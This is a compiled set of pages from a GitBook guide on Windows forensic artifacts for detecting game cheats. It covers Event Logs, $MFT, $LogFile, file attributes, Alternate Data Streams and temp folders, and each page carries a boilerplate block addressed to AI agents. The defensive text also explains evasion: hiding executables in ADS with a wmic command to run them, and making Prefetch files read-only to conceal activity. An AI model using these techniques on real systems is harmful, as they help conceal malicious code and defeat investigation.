\`RecentFileCache.bcf\`. These track application execution history and compatibility information. While sometimes considered secondary evidence, especially on older systems (Windows 7/8) or when other execution logs are cleared, they can provide valuable corroborating proof that a program was run. (Further details on Amcache/RecentFileCache analysis may be covered in later sections). \* \*\*PowerShell History:\*\* \`%AppData%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost\_history.txt\`. This plain text file logs the commands typed interactively into PowerShell sessions by the user. It's invaluable for identifying manual command-line activity, including potentially malicious script execution, file manipulation, or attempts to disable security features. \* \*\*User Assist:\*\* These are not folders but specific \*\*Registry keys\*\* (located under \`HKEY\_CURRENT\_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\\`) that track the execution of GUI-based applications. They store encoded data about program launches, including run counts and last execution timestamps. Specialized tools or manual decoding are needed to interpret this data effectively. Awareness of these and other potential evidence locations expands the scope of a thorough screenshare beyond just the most common artifacts --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/other-notable-folderslocations.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-log-structure.md). # Event Log Structure ( .evtx Files) \* \*\*Format:\*\* Modern Windows event logs (\`.evtx\` files) use a proprietary binary XML-based format. This format allows for structured logging and efficient storage. \* \*\*Channels:\*\* Windows organizes events into different logs, known as \*channels\*, based on their source or purpose. Key channels frequently examined during screenshares include: \* \*\*Application:\*\* Contains events logged by various installed applications (non-OS specific). Error reporting often appears here. \* \*\*Security:\*\* Records security-related events based on the system's audit policy settings. This includes login attempts (success/failure), account management actions, object access (if enabled), policy changes, and importantly, \*\*log clearing events (Event ID 1102)\*\*. Accessing this log often requires administrator privileges. \* \*\*System:\*\* Logs events generated by Windows system components themselves. This includes service start/stop events, driver loading issues, hardware errors, and \*\*system time changes (Event ID 4616)\*\*, and \*\*non-security log clearing (Event ID 104)\*\*. \* \*\*Setup:\*\* Records events related to the installation and setup of applications and Windows updates. \* \*\*ForwardedEvents:\*\* Used in enterprise environments to collect events forwarded from other computers. \* \*\*Applications and Services Logs:\*\* A broader category containing numerous specific logs for individual applications, services, or Windows features (e.g., Microsoft-Windows-TaskScheduler/Operational, Microsoft-Windows-PowerShell/Operational, Microsoft-Windows-Ntfs/Operational for USN Journal deletion). Navigating these requires knowing which specific log might contain relevant information. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-log-structure.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/master-file-table-the-file-catalog.md). # Master File Table ($MFT) - The File Catalog The \*Master File Table\* (\`$MFT\`) is the \*\*absolute heart and central database\*\* of an NTFS volume. It is itself a special file that contains at least one entry, known as an MFT record (or segment), for \*\*every single file and directory\*\* residing on that volume. Each MFT record acts like a detailed index card, storing crucial metadata about the corresponding file or directory. This metadata includes: \* Filename(s) (NTFS supports multiple names, e.g., short 8.3 names and long filenames) \* File size (logical and physical) \* File attributes (e.g., Read-Only, Hidden, System, Archive, Compressed, Encrypted) \* Security permissions (ACLs) \* The fundamental \*\*MACB timestamps\*\* (within specific attributes like \`$STANDARD\_INFORMATION\` and \`$FILE\_NAME\`) \* Pointers (\`$DATA\` attribute runs) indicating the physical location(s) (clusters) on the disk where the actual file content is stored. For very small files, the data might even be stored directly within the MFT record itself (known as a "resident" file). Analyzing ("parsing") the \`$MFT\` provides a comprehensive catalog of nearly everything present (and often, recently deleted items whose records haven't been overwritten yet) on the volume. It's a \*\*cornerstone artifact\*\* for establishing file existence, timelines, and attributes. Any modification to a file's metadata recorded in its MFT entry updates the file's '(C) Changed' timestamp. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/master-file-table-the-file-catalog.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/file-attributes-manipulable-properties.md). # File Attributes (Read-Only, Hidden, etc.) - Manipulable Properties Files within NTFS possess various \*attributes\* – flags stored as metadata that control their behavior, visibility, and interaction with the operating system and applications. Common attributes encountered during screenshares include: \* \*\*Read-Only:\*\* When set, this attribute attempts to prevent the file's content from being modified and makes deletion slightly harder (requiring confirmation or specific overrides). \* \*\*Hidden:\*\* Files with this attribute are concealed from view in default directory listings, such as in File Explorer or basic \`dir\` commands in CMD. Viewing hidden files requires changing folder view settings ("Show hidden files, folders, and drives") or using specific commands (\`dir /ah\`). \* \*\*System:\*\* Marks a file as critical for the operating system's function. System files are typically also hidden by default. Explorer has a separate setting ("Hide protected operating system files") for these. \* \*\*Archive:\*\* Primarily used by backup software to track files that have been modified since the last backup. Less relevant for typical cheat detection. \* \*\*Not Content Indexed:\*\* Excludes the file's content from being indexed by Windows Search. \* \*\*Temporary:\*\* Marks the file for potential cleanup by disk utilities. \* \*\*Compressed / Encrypted:\*\* Indicates NTFS-level compression or encryption is applied. These attributes can be easily viewed and modified through several means: \* File Properties in Windows Explorer (Right-click > Properties > General tab). \* Command-line tools: \`attrib\` (classic), \`cacls\`, \`icacls\` (more modern, permission-focused). \* Programmatically via Windows APIs. In the context of screensharing and bypasses, attributes are often manipulated: \* The \*\*Hidden\*\* attribute is commonly used to conceal cheat files, folders, or related artifacts from easy discovery. \* The \*\*Read-Only\*\* attribute can be applied to forensic artifacts like \*\*Prefetch files (\`.pf\`)\*\* to prevent the operating system (SysMain service) from updating their last execution timestamps or run counts, effectively "freezing" the artifact to hide recent activity. Crucially, \*\*changes to file attributes are typically logged\*\* in the \*\*\`$USNJrnl\`\*\* under the \*\*\`BASIC\_INFO\_CHANGE\`\*\* reason code. Analyzing the Journal for such events related to suspicious files or known artifact locations can reveal tampering attempts. \*\*\* --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/file-attributes-manipulable-properties.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/alternate-data-streams-hidden-data-streams.md). # Alternate Data Streams (ADS) - Hidden Data Streams \*Alternate Data Streams (ADS)\* represent a lesser-known but powerful feature inherent to the NTFS file system. It allows \*\*more than one data stream to be associated with a single filename\*\*. Every file on an NTFS volume possesses a primary, unnamed data stream, conventionally referred to as \`:$DATA\` when explicitly named. This stream holds the file's main, expected content – the text in a \`.txt\` file, the pixel data in a \`.jpg\`, the machine code in an \`.exe\`. However, NTFS allows additional, \*named\* data streams to be attached to the very same file entry in the \`$MFT\`. For example, a file named \`MyDocument.txt\` could have its main text in \`MyDocument.txt:$DATA\` and simultaneously have a hidden executable stored in \`MyDocument.txt:HiddenApp.exe\`. This capability can be easily abused to \*\*hide data\*\*. Malicious code, cheat tools, configuration files, logs, or sensitive information can be stored within an ADS attached to an otherwise innocuous-looking file (like \`notepad.exe\`, \`calc.exe\`, or a simple \`.txt\` or image file). Standard tools like \*\*Windows File Explorer do not display the existence or size of these alternate streams\*\* by default, making them effectively invisible to casual inspection. Detecting and examining ADS requires specific commands or dedicated tools: \* Command Prompt: \`dir /r\` will list alternate streams for files in the current directory. \* PowerShell: \`Get-Item -Path .\\MyDocument.txt -Stream \*\` lists streams for a specific file. \`Get-Content -Path .\\MyDocument.txt -Stream HiddenApp.exe\` can read stream content (if text-based). \* Dedicated Tools: Utilities like Nirsoft's AlternateStreamView or Sysinternals' Streams provide GUIs for easily finding, viewing, extracting, and deleting ADS across files and directories. \* Execution: Executing code hidden in an ADS often requires specific techniques, such as the \`wmic process call create "C:\\path\\file.txt:hidden.exe"\` command, or using utilities like \`forfiles\`. Awareness of ADS is crucial during screenshares, as they represent a common technique for concealing malicious payloads. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/alternate-data-streams-hidden-data-streams.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity.md). # Execution Traces and Recent Activity Identifying precisely \*when\* and \*how\* applications were launched or specific files were accessed is often the primary goal when investigating potential cheat usage. Several key Windows artifacts are designed to store exactly this type of information. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-viewer.md). # Event Viewer ( eventvwr.msc ) \* \*\*Purpose:\*\* This is the primary built-in Windows GUI tool for browsing, searching, filtering, and managing event logs. \* \*\*Access:\*\* Launched via the Run dialog (Win+R -> \`eventvwr\` or \`eventvwr.msc\`) or by searching for "Event Viewer". \* \*\*Basic Use:\*\* Provides a tree structure on the left pane to navigate different log channels (under "Windows Logs" and "Applications and Services Logs"). Key functionalities include: \* Viewing event details (description, source, Event ID, user, time logged). \* Sorting logs by columns (e.g., Date and Time, Level, Event ID). \* \*\*Filtering:\*\* This is crucial for efficient analysis. Users can filter the current log based on time range (e.g., "Last hour," "Last 24 hours"), event level (Critical, Error, Warning, Information), specific Event IDs (e.g., \`4616\`, \`1102\`, \`3079\`), keywords within the event description, user accounts, or log sources. \* \*\*Caution:\*\* Event logs often contain a massive volume of entries. Simply browsing without a specific goal or target (like a known Event ID related to a suspected bypass) can be extremely time-consuming and unproductive. Effective use relies on knowing \*what\* to look for based on the investigation's context. The specific Event IDs mentioned earlier (4616, 1102, 3079, 104, 4798) are prime examples of targeted searches during screenshares. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-viewer.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction.md). # Windows Event Logs: Introduction \*Windows Event Logs\* are standardized logs maintained by the operating system and various applications and services to record significant occurrences, errors, warnings, and informational messages. They function like a detailed diary of system activity, providing chronological records crucial for troubleshooting problems, auditing security events, and performing forensic analysis. For screensharing, Event Logs are invaluable because they can provide evidence of: \* User Logins and Logoffs (Successes and Failures - Security Log). \* System Startup and Shutdown events. \* Application Crashes, Hangs, and significant errors. \* Security-relevant actions like changes to security policies or user account management (Security Log). \* Service Start/Stop events (System Log). \* \*\*Attempts to clear the Event Logs themselves\*\* (a highly suspicious activity often indicative of covering tracks). \* Specific bypass technique artifacts, such as \*\*System Time Changes\*\* (Security Log, Event ID 4616) or \*\*USN Journal Deletion\*\* (Application Log, Event ID 3079). \* Installation of software or drivers. Understanding how to navigate and query these logs is essential for uncovering evidence that might not be apparent in other artifacts. \* \*\*Location:\*\* Event logs are stored as files, typically with the \`.evtx\` extension, in the \`%SystemRoot%\\System32\\Winevt\\Logs\\\` directory (usually \`C:\\Windows\\System32\\Winevt\\Logs\\\`). --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/logfile-specific-log-for-metadata-changes.md). # $LogFile (Metadata Log) - Specific Log for Metadata Changes Similar in purpose (logging changes for consistency) but distinct in function and scope from the \`$USNJrnl\` is the \*\*\`$LogFile\`\*\*. While \`$USNJrnl\` uses USN Records to track a broad range of filesystem events affecting files and directories, \`$LogFile\` serves as a highly specialized, \*\*transactional log focused specifically on recording changes made to file system \*\*\*\*\*metadata\*\*\* before these changes are permanently committed to structures like the \`$MFT\`. It logs operations such as updates to file attributes, modifications to MACB timestamps within the \`$MFT\`, changes to MFT records themselves, updates to directory indexes, and other structural metadata alterations. Its primary system function is recoverability – ensuring the filesystem structure remains consistent even if a crash occurs during a metadata update. For forensic purposes, \`$LogFile\` can be extremely valuable, though challenging to analyze. It offers a very granular, short-term history of metadata modifications. This can potentially reveal: \* Direct evidence of \*\*timestomping\*\*, possibly showing the original and intended fake timestamps within the same logged transaction. \* Evidence of \*\*attribute manipulation\*\* (like setting Read-Only or Hidden flags). \* A more precise sequence of events for rapid file creation/deletion/renaming than might be apparent from \`$MFT\` timestamps or even \`$UsnJrnl\` alone. However, \`$LogFile\` is notoriously \*\*difficult to parse\*\* due to its complex, largely undocumented internal format and its circular nature (it overwrites older entries relatively quickly on active systems). Specialized tools like \*\*"NTFS Log Parser"\*\* or advanced functions within comprehensive forensic suites are required to interpret its contents effectively. Its analysis is typically considered an advanced technique. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/logfile-specific-log-for-metadata-changes.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/the-eventlog-service.md). # The EventLog Service \* \*\*Dependency:\*\* The entire event logging system relies on the \*\*Windows Event Log service (service name: \`eventlog\`)\*\*. This service is responsible for managing log files, receiving events from providers, and allowing tools like Event Viewer to access the logs. \* \*\*Critical Status:\*\* If the \`eventlog\` service is \*\*stopped\*\*, no new events will be recorded, and Event Viewer (and other log analysis tools) will be unable to function. Finding this service stopped during a screenshare is \*\*extremely suspicious\*\* and strongly suggests tampering or a significant system issue. \* \*\*Checking Status:\*\* The service status can be verified using an administrative Command Prompt or PowerShell: \`sc query eventlog\`. The expected state is \`RUNNING\`. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/the-eventlog-service.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/temporary-files.md). # Temporary Files ( %temp% ) \* \*\*Purpose:\*\* Stores temporary data created by Windows and applications during operation. \* \*\*Location:\*\* \`C:\\Users\\{username}\\AppData\\Local\\Temp\` (Access via Win+R -> \`%temp%\`) \* \*\*Key Artifacts:\*\* \* \*JnativeHook:\* Some Java-based autoclickers utilize the JnativeHook library and may drop a \`JnativeHook-{random numbers}.dll\` file in this directory upon execution. The file's creation/modification time indicates execution time. Note: This is \*\*not entirely reliable\*\*. Not all Java cheats use this library, and the file can be easily deleted (check USN Journal for deletions). \* \*Unpacked Archives:\* Files run directly from within compressed archives (e.g., \`.zip\`, \`.rar\`) might be temporarily extracted here. Look for folders like \`Rar$\` or \`7z$\` followed by temporary names, potentially containing the executed file. The modification times of these temporary files/folders can indicate recent activity. \* \*\*Purpose:\*\* The Temp folder is a designated storage location used by Windows and various applications to store temporary data files created during their operation or installation. This can include temporary copies of files being edited, installation cache files, logs, or files extracted from archives. \* \*\*Location:\*\* The primary user Temp folder is located within the user's profile: \`C:\\Users\\{username}\\AppData\\Local\\Temp\`. It can be quickly accessed via the Run dialog (Win+R) by typing \`%temp%\` and pressing Enter. \* \*\*Key Artifacts for ScreenSharing:\*\* \* \*JnativeHook DLLs:\* Certain Java-based cheats, particularly some autoclickers, utilize a library called JnativeHook to interact with system input. When these cheats are executed, they often drop a DLL file named \`JnativeHook-{random numbers}.dll\` into the \`%temp%\` directory. The \*\*creation or modification timestamp\*\* of this DLL file directly indicates the time the cheat was executed. \*\*However, this method is not entirely reliable.\*\* Not all Java cheats use this specific library, and the file can be easily deleted by the user or cleanup tools. If the file is suspected but missing, checking the \*\*USN Journal (\`$UsnJrnl\`)\*\* for recent \`FILE\_DELETE\` events matching the \`JnativeHook\*.dll\` pattern in the \`%temp%\` path is essential. \* \*Unpacked Archives:\* When users run an executable directly from within a compressed archive (like a \`.zip\` or \`.rar\` file) without fully extracting it first, the archiving tool often temporarily extracts the necessary files to a subdirectory within \`%temp%\`. These temporary folders might have names like \`Rar${random}\` or \`7z${random}\`. Examining the contents and \*\*modification times\*\* of these temporary folders and the files within them can reveal recently executed programs that were run from archives. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/temporary-files.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recent-items.md). # Recent Items ( shell:recent ) \* \* \*\*Purpose:\*\* This special shell folder stores shortcuts (\`.lnk\` files) pointing to files and folders that the user has recently opened or accessed through standard Windows interactions (e.g., opening a file in an application, saving a document). Its functionality and population depend on Windows settings related to tracking recent items. \* \*\*Location:\*\* The folder resides at \`C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\`. It can be quickly accessed via the Run dialog (Win+R) by typing \`shell:recent\` and pressing Enter. \* \*\*File Format:\*\* Contains \`.lnk\` (shortcut) files. Each \`.lnk\` file contains metadata pointing to the original target file or folder (the "linked item"), including its path and potentially timestamps related to the target's creation/modification/access (stored within the shortcut itself) and the shortcut's own creation/modification time. \* \*\*Forensic Value:\*\* \* Provides valuable \*\*context\*\* about the user's recent activities and interactions with specific files, applications, or storage locations. \* While finding direct evidence of cheats (like a \`.dll\` shortcut appearing here) is less common in modern scenarios and sometimes considered a somewhat \*\*"deprecated" primary detection method\*\*, the presence of shortcuts to unusual locations, temporary files, or recently downloaded archives can corroborate findings from other artifacts. \* It helps build a narrative of user actions. \* \*\*Related Artifacts & Clearing:\*\* The \`shell:recent\` folder's contents are closely linked to: \* \*Jump Lists:\* These provide recently accessed items \*per application\*, accessible by right-clicking icons on the taskbar or in the Start menu. Jump List data is stored separately in \`.automaticDestinations-ms\` and \`.customDestinations-ms\` files located within \`%AppData%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\\` and \`CustomDestinations\\\`. Clearing \`shell:recent\` does not necessarily clear Jump List data. \* \*RecentDocs Registry Keys:\* Located under \`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs\`. Clearing these registry keys often (but not always) results in the clearing of the \`shell:recent\` folder content. Evidence of clearing these keys (e.g., via \`reg.exe\` usage logs) can be suspicious. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/recent-items.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. ---